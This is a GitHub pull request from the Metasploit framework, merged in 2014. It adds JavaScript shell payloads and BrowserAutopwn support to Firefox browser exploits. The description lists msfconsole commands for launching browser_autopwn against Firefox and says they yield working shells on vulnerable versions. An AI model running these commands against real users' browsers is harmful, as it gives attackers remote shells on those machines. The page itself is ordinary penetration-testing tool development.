Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add js payload to firefox_svg_plugin, add BrowserAutopwn support to both FF JS exploits #2865

Merged
merged 2 commits into from Jan 13, 2014

Conversation

jvennix-r7
Copy link
Contributor

By defaulting to the JS shell, the firefox js exploits can now work well with autopwn.

msf> use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set MATCH firefox
msf auxiliary(browser_autopwn) > set LHOST 0.0.0.0
msf auxiliary(browser_autopwn) > run
  • You should get a working shell from a firefox 5.*-15.0.1 instance
  • You should be able to run post/firefox/gather/xss module against this session (default opts are fine)
  • You should get a working shell from a firefox 17.* instance
  • You should be able to run post/firefox/gather/xss module against this session (default opts are fine)

@ghost ghost assigned wchen-r7 Jan 12, 2014
@wchen-r7
Copy link
Contributor

I still have the FF setup, I'll handle it. Thanks.

@wchen-r7
Copy link
Contributor

All work fine. Merging. Thanks.

wchen-r7 added a commit that referenced this pull request Jan 13, 2014
@wchen-r7 wchen-r7 merged commit f78ec1e into rapid7:master Jan 13, 2014
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants